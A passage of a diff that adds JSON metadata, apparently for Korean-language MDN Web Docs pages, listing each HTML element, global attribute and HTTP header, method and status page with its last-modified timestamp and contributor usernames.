+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/rb": {
+    "modified": "2020-10-15T22:26:18.112Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Element/rp": {
+    "modified": "2020-10-15T21:36:19.894Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/rt": {
+    "modified": "2020-10-15T21:36:12.185Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/rtc": {
+    "modified": "2020-10-15T22:26:43.575Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Element/ruby": {
+    "modified": "2020-10-15T21:35:01.356Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/s": {
+    "modified": "2020-10-15T22:26:19.023Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Element/samp": {
+    "modified": "2020-10-15T22:26:19.903Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Element/script": {
+    "modified": "2020-10-15T21:36:05.365Z",
+    "contributors": [
+      "alattalatta",
+      "baemin0103",
+      "dolmoon",
+      "mooyoul",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/section": {
+    "modified": "2020-10-15T21:35:40.181Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/select": {
+    "modified": "2020-10-15T21:35:23.669Z",
+    "contributors": [
+      "alattalatta",
+      "simcheolhwan",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/slot": {
+    "modified": "2020-10-15T22:26:43.095Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Element/small": {
+    "modified": "2020-10-15T22:26:17.582Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Element/span": {
+    "modified": "2020-10-15T22:10:35.443Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g"
+    ]
+  },
+  "Web/HTML/Element/strong": {
+    "modified": "2020-10-15T21:46:35.654Z",
+    "contributors": [
+      "alattalatta",
+      "Swalloow"
+    ]
+  },
+  "Web/HTML/Element/style": {
+    "modified": "2020-10-15T21:35:05.102Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/sub": {
+    "modified": "2020-10-15T21:36:08.765Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/summary": {
+    "modified": "2020-10-15T21:35:24.668Z",
+    "contributors": [
+      "everchloe97",
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/sup": {
+    "modified": "2020-10-15T22:26:41.452Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Element/table": {
+    "modified": "2020-10-15T21:35:40.562Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/tbody": {
+    "modified": "2020-10-15T21:35:26.742Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/td": {
+    "modified": "2020-10-15T21:36:06.972Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/template": {
+    "modified": "2020-10-15T21:35:23.755Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/textarea": {
+    "modified": "2020-10-15T21:35:30.995Z",
+    "contributors": [
+      "alattalatta",
+      "dajeong",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/th": {
+    "modified": "2020-10-15T21:35:25.839Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/thead": {
+    "modified": "2019-03-23T22:56:29.173Z",
+    "contributors": [
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/time": {
+    "modified": "2020-10-15T21:35:24.878Z",
+    "contributors": [
+      "alattalatta",
+      "hyeyeongjeon",
+      "hyeonseok",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/title": {
+    "modified": "2020-10-15T21:35:03.053Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/tr": {
+    "modified": "2019-03-23T22:56:35.949Z",
+    "contributors": [
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/track": {
+    "modified": "2020-10-15T21:36:08.366Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/u": {
+    "modified": "2020-10-15T21:43:12.015Z",
+    "contributors": [
+      "alattalatta",
+      "Kaben"
+    ]
+  },
+  "Web/HTML/Element/ul": {
+    "modified": "2020-10-15T21:35:59.634Z",
+    "contributors": [
+      "alattalatta",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/var": {
+    "modified": "2020-10-15T21:36:09.846Z",
+    "contributors": [
+      "alattalatta",
+      "chriskwon07",
+      "azunyan3"
+    ]
+  },
+  "Web/HTML/Element/wbr": {
+    "modified": "2020-10-15T22:26:42.955Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Global_attributes": {
+    "modified": "2020-10-15T21:32:36.557Z",
+    "contributors": [
+      "alattalatta",
+      "ParkYoungWoong",
+      "DDark",
+      "donath-igaw",
+      "dolmoon",
+      "lovefield",
+      "super-atom",
+      "nonpuritan"
+    ]
+  },
+  "Web/HTML/Global_attributes/accesskey": {
+    "modified": "2020-10-15T21:47:24.469Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "dolmoon",
+      "frankradio",
+      "websonic"
+    ]
+  },
+  "Web/HTML/Global_attributes/autocapitalize": {
+    "modified": "2020-10-15T22:06:22.272Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/contenteditable": {
+    "modified": "2020-10-15T21:54:28.609Z",
+    "contributors": [
+      "alattalatta",
+      "since2016c"
+    ]
+  },
+  "Web/HTML/Global_attributes/contextmenu": {
+    "modified": "2020-10-15T22:06:25.915Z",
+    "contributors": [
+      "alattalatta",
+      "SphinxKnight",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/data-*": {
+    "modified": "2020-10-15T22:06:19.325Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/dir": {
+    "modified": "2020-10-15T22:06:24.770Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/draggable": {
+    "modified": "2020-10-15T22:06:26.694Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/dropzone": {
+    "modified": "2020-10-15T22:06:26.786Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/hidden": {
+    "modified": "2020-10-15T22:06:24.774Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/id": {
+    "modified": "2020-10-15T22:06:26.429Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/inputmode": {
+    "modified": "2020-10-15T22:27:35.161Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Global_attributes/is": {
+    "modified": "2020-10-15T22:06:26.797Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/itemid": {
+    "modified": "2020-10-15T22:06:33.676Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/itemprop": {
+    "modified": "2020-10-15T21:47:53.585Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon",
+      "citrus.alice",
+      "sansolmom"
+    ]
+  },
+  "Web/HTML/Global_attributes/itemref": {
+    "modified": "2020-10-15T22:06:33.158Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon"
+    ]
+  },
+  "Web/HTML/Global_attributes/itemscope": {
+    "modified": "2020-10-15T22:11:40.067Z",
+    "contributors": [
+      "alattalatta",
+      "jacobkim116"
+    ]
+  },
+  "Web/HTML/Global_attributes/lang": {
+    "modified": "2020-10-15T22:32:38.127Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Global_attributes/part": {
+    "modified": "2020-10-15T22:27:33.647Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Global_attributes/slot": {
+    "modified": "2020-10-15T22:26:56.066Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Global_attributes/spellcheck": {
+    "modified": "2020-10-15T22:26:49.343Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Global_attributes/style": {
+    "modified": "2020-10-15T22:08:32.976Z",
+    "contributors": [
+      "alattalatta",
+      "JaeWorld"
+    ]
+  },
+  "Web/HTML/Global_attributes/tabindex": {
+    "modified": "2020-10-15T21:50:31.167Z",
+    "contributors": [
+      "alattalatta",
+      "7ylee",
+      "young-gratia"
+    ]
+  },
+  "Web/HTML/Global_attributes/title": {
+    "modified": "2020-10-15T22:26:53.940Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Global_attributes/translate": {
+    "modified": "2020-10-15T22:26:48.848Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Global_attributes/클래스": {
+    "modified": "2020-10-15T21:51:13.209Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon",
+      "woojin.jo"
+    ]
+  },
+  "Web/HTML/HTML5": {
+    "modified": "2019-03-24T00:11:07.419Z",
+    "contributors": [
+      "teoli",
+      "Channy",
+      "Dwchiang",
+      "vigia122",
+      "jisung",
+      "Joone"
+    ]
+  },
+  "Web/HTML/HTML5/Introduction_to_HTML5": {
+    "modified": "2019-03-23T23:38:47.847Z",
+    "contributors": [
+      "kybin",
+      "kuil09",
+      "juyoungbang",
+      "teoli",
+      "Channy"
+    ]
+  },
+  "Web/HTML/HTML5_문서의_섹션과_윤곽": {
+    "modified": "2020-01-10T12:08:26.959Z",
+    "contributors": [
+      "alattalatta",
+      "sudo0272",
+      "Kaben",
+      "bombinari",
+      "naduhy2",
+      "miname"
+    ]
+  },
+  "Web/HTML/Index": {
+    "modified": "2020-01-19T02:45:39.384Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTML/Inline_elements": {
+    "modified": "2020-02-12T03:45:21.056Z",
+    "contributors": [
+      "SphinxKnight",
+      "alattalatta",
+      "teoli",
+      "Gilchris"
+    ]
+  },
+  "Web/HTML/Link_types": {
+    "modified": "2020-10-15T21:56:00.564Z",
+    "contributors": [
+      "alattalatta",
+      "limjungmok",
+      "young-gratia"
+    ]
+  },
+  "Web/HTML/Preloading_content": {
+    "modified": "2020-10-15T22:35:17.448Z",
+    "contributors": [
+      "sukyology"
+    ]
+  },
+  "Web/HTML/Quirks_Mode_and_Standards_Mode": {
+    "modified": "2019-03-18T20:35:03.733Z",
+    "contributors": [
+      "EatChangmyeong",
+      "chrisdavidmills",
+      "besapius"
+    ]
+  },
+  "Web/HTML/Reference": {
+    "modified": "2020-01-30T22:41:37.544Z",
+    "contributors": [
+      "alattalatta",
+      "SphinxKnight",
+      "wbamberg",
+      "siwabada",
+      "sangwoo",
+      "azunyan3",
+      "moolow"
+    ]
+  },
+  "Web/HTML/Using_the_application_cache": {
+    "modified": "2020-10-15T21:26:42.303Z",
+    "contributors": [
+      "alattalatta",
+      "SemteulGaram",
+      "Neibce",
+      "Han_jongbae",
+      "teoli",
+      "gomdev"
+    ]
+  },
+  "Web/HTTP": {
+    "modified": "2020-02-05T12:20:09.075Z",
+    "contributors": [
+      "alattalatta",
+      "desty",
+      "JisooLee",
+      "yjs000",
+      "cs09g",
+      "woniok",
+      "project42da",
+      "limkukhyun",
+      "gaucho1218",
+      "starkying",
+      "frankradio",
+      "Latera",
+      "daebum-lee",
+      "devcken",
+      "sooyoung32",
+      "hoony",
+      "groovecoder"
+    ]
+  },
+  "Web/HTTP/Authentication": {
+    "modified": "2019-09-03T21:33:24.429Z",
+    "contributors": [
+      "minijaypark",
+      "rubysoho07",
+      "chj1768"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP": {
+    "modified": "2019-03-23T22:27:07.176Z",
+    "contributors": [
+      "peacekimjapan",
+      "gaucho1218",
+      "frankradio",
+      "teoli"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs": {
+    "modified": "2020-11-23T08:52:22.702Z",
+    "contributors": [
+      "nesez",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/Data_URIs": {
+    "modified": "2019-03-23T22:27:00.710Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP": {
+    "modified": "2019-12-02T03:03:46.499Z",
+    "contributors": [
+      "SeonHyungJo",
+      "PeterHoo",
+      "chanspark",
+      "knight2995",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web": {
+    "modified": "2019-09-22T04:32:42.283Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/MIME_types": {
+    "modified": "2019-03-23T22:27:10.370Z",
+    "contributors": [
+      "Jo-Seungjun",
+      "DublinCity",
+      "kangsan_Chang",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Basics_of_HTTP/MIME_types/Common_types": {
+    "modified": "2020-02-28T13:11:05.868Z",
+    "contributors": [
+      "chrisdavidmills",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/CORS": {
+    "modified": "2020-10-15T21:40:21.422Z",
+    "contributors": [
+      "DeadIntegral",
+      "starrything",
+      "alattalatta",
+      "SphinxKnight",
+      "dabitk",
+      "young-do",
+      "RamiTae",
+      "limkukhyun",
+      "hard_coder",
+      "minijaypark",
+      "gwonsungjun",
+      "pineoc",
+      "Curzy",
+      "kw8799",
+      "AngelaMIN",
+      "gnujoow",
+      "cjh5414",
+      "JisuPark",
+      "devcken",
+      "zackery.lim",
+      "sangwook-kim",
+      "hoony"
+    ]
+  },
+  "Web/HTTP/CORS/Errors": {
+    "modified": "2020-02-05T05:44:10.166Z",
+    "contributors": [
+      "SphinxKnight",
+      "nchevobbe"
+    ]
+  },
+  "Web/HTTP/CORS/Errors/CORSDidNotSucceed": {
+    "modified": "2020-02-05T05:44:09.781Z",
+    "contributors": [
+      "SphinxKnight",
+      "LazyRichard"
+    ]
+  },
+  "Web/HTTP/CORS/Errors/CORSRequestNotHttp": {
+    "modified": "2020-03-16T11:34:09.122Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/HTTP/Caching": {
+    "modified": "2020-12-07T03:01:05.442Z",
+    "contributors": [
+      "Dong-Young_Lee",
+      "quserinn",
+      "U-lis",
+      "LumiLoves",
+      "pdvonzoo",
+      "amorfati0310",
+      "seungha-kim",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Compression": {
+    "modified": "2020-11-24T03:58:08.551Z",
+    "contributors": [
+      "heowc",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Conditional_requests": {
+    "modified": "2019-03-23T22:26:36.069Z",
+    "contributors": [
+      "pdvonzoo",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Connection_management_in_HTTP_1.x": {
+    "modified": "2019-09-22T05:23:40.824Z",
+    "contributors": [
+      "jeonghoon_park",
+      "chatoo2412",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Content_negotiation": {
+    "modified": "2019-09-08T07:36:46.735Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Cookies": {
+    "modified": "2020-09-25T01:03:32.520Z",
+    "contributors": [
+      "parksb",
+      "ghleokim",
+      "Violet-Bora-Lee",
+      "eubnara",
+      "GiwonKwon",
+      "Younghoo",
+      "jkpark",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers": {
+    "modified": "2019-04-25T09:00:35.813Z",
+    "contributors": [
+      "cs09g",
+      "infohojin",
+      "MrJadaml"
+    ]
+  },
+  "Web/HTTP/Headers/Accept": {
+    "modified": "2020-10-15T21:49:15.874Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Accept-Charset": {
+    "modified": "2020-10-15T21:49:17.720Z",
+    "contributors": [
+      "jkpark",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Accept-Encoding": {
+    "modified": "2020-10-15T21:49:19.087Z",
+    "contributors": [
+      "jkpark",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Accept-Language": {
+    "modified": "2020-10-15T21:49:29.529Z",
+    "contributors": [
+      "jkpark",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Accept-Ranges": {
+    "modified": "2020-10-15T21:49:32.861Z",
+    "contributors": [
+      "jkpark",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Access-Control-Allow-Credentials": {
+    "modified": "2020-10-15T22:13:42.878Z",
+    "contributors": [
+      "marocchino",
+      "beewee22",
+      "yuntaek"
+    ]
+  },
+  "Web/HTTP/Headers/Access-Control-Allow-Headers": {
+    "modified": "2020-10-15T22:13:34.399Z",
+    "contributors": [
+      "ybkimm",
+      "yuntaek"
+    ]
+  },
+  "Web/HTTP/Headers/Access-Control-Allow-Origin": {
+    "modified": "2020-10-15T22:09:56.537Z",
+    "contributors": [
+      "zilhak",
+      "Latera"
+    ]
+  },
+  "Web/HTTP/Headers/Access-Control-Request-Headers": {
+    "modified": "2020-10-15T22:23:36.554Z",
+    "contributors": [
+      "hard_coder"
+    ]
+  },
+  "Web/HTTP/Headers/Access-Control-Request-Method": {
+    "modified": "2020-10-15T22:23:36.531Z",
+    "contributors": [
+      "hard_coder"
+    ]
+  },
+  "Web/HTTP/Headers/Age": {
+    "modified": "2020-10-15T21:49:46.926Z",
+    "contributors": [
+      "jkpark",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Allow": {
+    "modified": "2019-10-15T00:54:26.644Z",
+    "contributors": [
+      "hard_coder"
+    ]
+  },
+  "Web/HTTP/Headers/Authorization": {
+    "modified": "2019-03-18T21:42:26.332Z",
+    "contributors": [
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Headers/Cache-Control": {
+    "modified": "2020-10-15T21:49:49.401Z",
+    "contributors": [
+      "1sonjm",
+      "seungha-kim",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Connection": {
+    "modified": "2020-11-26T12:32:53.012Z",
+    "contributors": [
+      "gittykite",
+      "ApdoMine",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Disposition": {
+    "modified": "2020-10-15T22:28:27.432Z",
+    "contributors": [
+      "HyeongJooKim",
+      "pitachips"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Encoding": {
+    "modified": "2020-10-15T21:49:48.809Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Language": {
+    "modified": "2020-10-15T21:49:50.608Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Length": {
+    "modified": "2020-10-15T21:49:48.687Z",
+    "contributors": [
+      "jkpark",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Location": {
+    "modified": "2020-10-15T21:50:13.955Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Range": {
+    "modified": "2020-10-15T22:00:46.743Z",
+    "contributors": [
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Security-Policy": {
+    "modified": "2020-10-15T22:04:29.043Z",
+    "contributors": [
+      "alattalatta",
+      "scottsb"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Security-Policy/default-src": {
+    "modified": "2020-10-15T22:04:28.625Z",
+    "contributors": [
+      "karuana"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Security-Policy/img-src": {
+    "modified": "2020-10-15T22:04:28.671Z",
+    "contributors": [
+      "karuana"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Security-Policy/report-to": {
+    "modified": "2020-10-15T22:04:19.571Z",
+    "contributors": [
+      "karuana"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Security-Policy/script-src": {
+    "modified": "2020-10-15T22:04:24.340Z",
+    "contributors": [
+      "karuana"
+    ]
+  },
+  "Web/HTTP/Headers/Content-Type": {
+    "modified": "2020-10-15T21:49:42.673Z",
+    "contributors": [
+      "SungMinHong",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Cookie": {
+    "modified": "2020-10-15T21:50:23.726Z",
+    "contributors": [
+      "jkpark",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/DNT": {
+    "modified": "2020-10-15T21:50:24.375Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Date": {
+    "modified": "2020-10-15T21:50:25.226Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/ETag": {
+    "modified": "2020-10-15T21:51:23.650Z",
+    "contributors": [
+      "Taehee_Kim",
+      "Nept-una",
+      "joshua1988"
+    ]
+  },
+  "Web/HTTP/Headers/Expect": {
+    "modified": "2019-03-18T21:43:08.596Z",
+    "contributors": [
+      "cmygray"
+    ]
+  },
+  "Web/HTTP/Headers/Expires": {
+    "modified": "2020-10-15T21:50:26.727Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Forwarded": {
+    "modified": "2019-04-17T02:18:58.893Z",
+    "contributors": [
+      "Leadersama",
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Headers/From": {
+    "modified": "2020-10-15T21:50:24.429Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Host": {
+    "modified": "2020-10-15T21:49:46.055Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/If-Modified-Since": {
+    "modified": "2020-10-15T22:21:48.824Z",
+    "contributors": [
+      "hedy.kim"
+    ]
+  },
+  "Web/HTTP/Headers/If-Range": {
+    "modified": "2020-10-15T22:00:48.030Z",
+    "contributors": [
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Headers/Keep-Alive": {
+    "modified": "2020-10-15T21:50:23.883Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Last-Modified": {
+    "modified": "2020-10-15T22:00:42.496Z",
+    "contributors": [
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Headers/Origin": {
+    "modified": "2020-10-15T22:30:04.982Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/HTTP/Headers/Pragma": {
+    "modified": "2020-10-15T21:59:31.503Z",
+    "contributors": [
+      "Shiwoo-Park"
+    ]
+  },
+  "Web/HTTP/Headers/Range": {
+    "modified": "2020-10-15T22:00:39.339Z",
+    "contributors": [
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Headers/Referer": {
+    "modified": "2020-10-15T21:50:11.143Z",
+    "contributors": [
+      "Dong-il.Kim",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Retry-After": {
+    "modified": "2020-10-15T21:50:27.484Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Server": {
+    "modified": "2020-10-15T22:03:36.011Z",
+    "contributors": [
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Headers/Set-Cookie": {
+    "modified": "2020-10-15T22:10:26.465Z",
+    "contributors": [
+      "jay94ks"
+    ]
+  },
+  "Web/HTTP/Headers/Strict-Transport-Security": {
+    "modified": "2020-10-15T21:56:49.544Z",
+    "contributors": [
+      "fransoaardi",
+      "daebum-lee"
+    ]
+  },
+  "Web/HTTP/Headers/Transfer-Encoding": {
+    "modified": "2020-10-15T21:51:02.263Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Headers/Vary": {
+    "modified": "2020-10-15T22:15:03.489Z",
+    "contributors": [
+      "hedy.kim"
+    ]
+  },
+  "Web/HTTP/Headers/Via": {
+    "modified": "2020-10-15T22:35:16.297Z",
+    "contributors": [
+      "hedy.kim"
+    ]
+  },
+  "Web/HTTP/Headers/X-Forwarded-For": {
+    "modified": "2020-10-15T22:17:09.983Z",
+    "contributors": [
+      "BenjaminYou"
+    ]
+  },
+  "Web/HTTP/Headers/X-Forwarded-Host": {
+    "modified": "2020-10-15T22:27:22.961Z",
+    "contributors": [
+      "hedy.kim"
+    ]
+  },
+  "Web/HTTP/Headers/X-Forwarded-Proto": {
+    "modified": "2019-03-23T22:18:20.269Z",
+    "contributors": [
+      "llogs"
+    ]
+  },
+  "Web/HTTP/Headers/X-Frame-Options": {
+    "modified": "2020-10-15T22:08:30.723Z",
+    "contributors": [
+      "epic",
+      "jkpark"
+    ]
+  },
+  "Web/HTTP/Headers/X-XSS-Protection": {
+    "modified": "2020-11-23T08:49:47.380Z",
+    "contributors": [
+      "nesez",
+      "Simtu"
+    ]
+  },
+  "Web/HTTP/Index": {
+    "modified": "2020-02-05T12:28:02.372Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTTP/Messages": {
+    "modified": "2019-03-18T20:59:38.193Z",
+    "contributors": [
+      "young-gratia",
+      "moodcoding",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Methods": {
+    "modified": "2020-10-15T21:51:25.078Z",
+    "contributors": [
+      "alattalatta",
+      "flavono123",
+      "dbwodlf3",
+      "kidkkr",
+      "fscholz"
+    ]
+  },
+  "Web/HTTP/Methods/CONNECT": {
+    "modified": "2020-10-15T22:04:24.119Z",
+    "contributors": [
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Methods/DELETE": {
+    "modified": "2020-10-15T21:59:03.643Z",
+    "contributors": [
+      "alattalatta",
+      "likeahandy",
+      "billopark",
+      "frankradio"
+    ]
+  },
+  "Web/HTTP/Methods/GET": {
+    "modified": "2020-10-15T21:51:25.549Z",
+    "contributors": [
+      "alattalatta",
+      "lee-seul",
+      "AngelaMIN",
+      "knight2995"
+    ]
+  },
+  "Web/HTTP/Methods/HEAD": {
+    "modified": "2020-10-15T21:51:24.747Z",
+    "contributors": [
+      "alattalatta",
+      "sbqsbqsbq",
+      "chatoo2412",
+      "knight2995"
+    ]
+  },
+  "Web/HTTP/Methods/OPTIONS": {
+    "modified": "2020-10-15T22:13:35.026Z",
+    "contributors": [
+      "elenajel",
+      "momoci99",
+      "njh7799",
+      "HYUNA_LEE"
+    ]
+  },
+  "Web/HTTP/Methods/PATCH": {
+    "modified": "2020-11-12T01:54:11.708Z",
+    "contributors": [
+      "imione",
+      "fransoaardi",
+      "njh7799"
+    ]
+  },
+  "Web/HTTP/Methods/POST": {
+    "modified": "2020-10-15T21:54:35.754Z",
+    "contributors": [
+      "alattalatta",
+      "CressZZ",
+      "frankradio",
+      "AngelaMIN",
+      "sephiron99",
+      "dbwodlf3"
+    ]
+  },
+  "Web/HTTP/Methods/PUT": {
+    "modified": "2020-10-15T22:00:38.104Z",
+    "contributors": [
+      "alattalatta",
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Overview": {
+    "modified": "2020-11-23T12:40:19.297Z",
+    "contributors": [
+      "heowc",
+      "daum7766",
+      "JisooLee",
+      "alattalatta",
+      "leoinsight",
+      "project42da",
+      "dbwodlf3",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Range_requests": {
+    "modified": "2019-03-18T21:43:46.444Z",
+    "contributors": [
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Redirections": {
+    "modified": "2020-11-16T03:23:48.575Z",
+    "contributors": [
+      "galcyurio",
+      "mingrammer",
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Resources_and_URIs": {
+    "modified": "2019-03-18T21:43:18.320Z",
+    "contributors": [
+      "jkpark"
+    ]
+  },
+  "Web/HTTP/Resources_and_specifications": {
+    "modified": "2019-03-23T22:26:24.310Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Session": {
+    "modified": "2019-09-22T04:32:24.240Z",
+    "contributors": [
+      "devcken"
+    ]
+  },
+  "Web/HTTP/Status": {
+    "modified": "2020-10-15T21:47:24.672Z",
+    "contributors": [
+      "FennecFoxSW",
+      "yjs000",
+      "Hozerogold",
+      "gaucho1218",
+      "fscholz",
+      "desty"
+    ]
+  },
+  "Web/HTTP/Status/100": {
+    "modified": "2020-10-15T21:59:59.083Z",
+    "contributors": [
+      "alattalatta",
+      "johngrib"
+    ]
+  },
+  "Web/HTTP/Status/101": {
+    "modified": "2019-08-19T03:28:08.046Z",
+    "contributors": [
+      "alattalatta",
+      "Suckzoo"
+    ]
+  },
+  "Web/HTTP/Status/103": {
+    "modified": "2020-10-15T22:29:44.920Z",
+    "contributors": [
+      "yeonme"
+    ]
+  },
+  "Web/HTTP/Status/200": {
+    "modified": "2020-10-15T22:00:39.842Z",
+    "contributors": [
+      "alattalatta",
+      "ddojung",
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Status/201": {
+    "modified": "2020-10-15T22:15:10.415Z",
+    "contributors": [
+      "coremaker",
+      "alattalatta",
